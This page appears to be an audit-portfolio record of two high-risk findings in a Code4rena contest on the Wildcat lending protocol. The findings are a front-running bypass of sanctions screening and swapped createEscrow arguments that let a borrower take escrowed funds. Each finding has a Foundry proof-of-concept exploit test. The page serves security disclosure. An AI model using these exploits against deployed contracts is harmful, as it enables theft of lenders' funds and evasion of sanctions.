The Wildcat Protocol - xeros's results

Banking, but worse - a protocol for fixed-rate, undercollateralised credit facilities.

General Information

Platform: Code4rena

Start Date: 16/10/2023

Pot Size: $60,500 USDC

Total HM: 16

Participants: 131

Period: 10 days

Judge: 0xTheC0der

Total Solo HM: 3

Id: 296

League: ETH

Wildcat Protocol

Findings Distribution

Researcher Performance

Rank: 73/131

Findings: 2

Award: $19.79

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

13.1205 USDC - $13.12

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-266

External Links

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketToken.sol#L64 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatMarketController.sol#L182

Vulnerability details

Description

Wildcat protocol queries Chainalysis oracle for checking whether lender is sanctioned or not. However according to docs(https://go.chainalysis.com/chainalysis-oracle-docs.html) provided by Chainalysis, they do not guarantee the timeliness of the data. What can happen here is as soon as the lender finds out that the address is sanctioned, he can transfer “market token” to other address he owns and request withdraw with that address. Unless sanction list from Chainalysis is updated within the batch duration period, lender can successfully withdraw his asset.

One assumption here is that “market token” has to be transferred before nukeFromOrbit is called(which can be easily done by front-running) as nukeFromOrbit moves all the balance to escrow contract.

PoC

// SPDX-License-Identifier: NONE
pragma solidity >=0.8.20;

import "forge-std/console.sol";

import './BaseMarketTest.sol';

contract Exploit is BaseMarketTest {
    function testSanctionBypass() external {
        address alice_bck = address(0xaaaa);

        _deposit(alice, 1e18);

        sanctionsSentinel.sanction(alice);

        // Before nukeFromOrbit is called, alice transfers balance to alice_bck
        vm.startPrank(alice);
        market.transfer(alice_bck, market.balanceOf(alice));
        vm.stopPrank();
        market.nukeFromOrbit(alice);

        // Grant alice_bck with withdrawOnly role
        address[] memory markets = new address[](1);
        markets[0] = address(market);
        controller.updateLenderAuthorization(alice_bck, markets);

        _requestWithdrawal(alice_bck, 1e18);
        uint32 expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration);

        // alice_bck address shouldn't be sanctioned by sentinel in this period
        fastForward(parameters.withdrawalBatchDuration);

        market.executeWithdrawal(alice_bck, expiry);

        console.log("Balance of alice_bck : %s", asset.balanceOf(alice_bck));
    }
}

Tools Used

Visual Studio Code, Foundry

Check whether lender is sanctioned before transferring token.

Assessed type

Token-Transfer

#0 - c4-pre-sort

2023-10-27T03:15:48Z

minhquanym marked the issue as duplicate of #54

#1 - c4-judge

2023-11-07T14:36:22Z

MarioPoneder changed the severity to 3 (High Risk)

#2 - c4-judge

2023-11-07T14:37:41Z

MarioPoneder marked the issue as satisfactory

Awards

6.6715 USDC - $6.67

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-68

External Links

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketWithdrawals.sol#L166 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L172

Vulnerability details

Description

createEscrow function in WildcatSanctionsSentinel is called to create an escrow contract responsible for holding the asset of sanctioned account. Definition for this function is as follows

function createEscrow(
    address account,
    address borrower,
    address asset
  ) external returns (address escrowContract);

This function is called by executeWithdrawal and _blockAccount function, both of which are calling the function with wrong argument order.

// Inside executeWithdraw

address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
  accountAddress,
  borrower,
  address(asset)
);

// Inside _blockAccount

address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow(
  accountAddress,
  borrower,
  address(this)
);

What happens from this is that canReleaseEscrow function in escrow contract returns true which means that borrower can call releaseEscrow function to transfer asset to their wallet(instead of lenders wallet).

PoC

// SPDX-License-Identifier: NONE
pragma solidity >=0.8.20;

import "forge-std/console.sol";

import './BaseMarketTest.sol';

contract Exploit is BaseMarketTest {
    function testCreateEscrowArg() external {
        address escrow;

        _deposit(alice, 1e18);
        _requestWithdrawal(alice, 1e18);
        uint32 expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration);

        sanctionsSentinel.sanction(alice);

        fastForward(parameters.withdrawalBatchDuration);

        vm.recordLogs();
        market.executeWithdrawal(alice, expiry); 

        Vm.Log[] memory entries = vm.getRecordedLogs();
        for (uint256 i=0; i<entries.length; i++) {
            if (entries[i].topics[0] == keccak256("SanctionOverride(address,address)")) {
                escrow = address(uint160(uint256(entries[i].topics[2])));
            }
        }

        console.log("Balance of borrower before releaseEscrow : %s", asset.balanceOf(borrower));
        WildcatSanctionsEscrow(escrow).releaseEscrow();
        console.log("Balance of borrower after releaseEscrow : %s", asset.balanceOf(borrower));
    }
}

Tools Used

Visual Studio Code, Foundry

Call createEscrow with correct argument order

Assessed type

Other

#0 - c4-pre-sort

2023-10-27T02:24:11Z

minhquanym marked the issue as duplicate of #515

#1 - c4-judge

2023-11-07T11:46:36Z

MarioPoneder changed the severity to 3 (High Risk)

#2 - c4-judge

2023-11-07T11:49:34Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter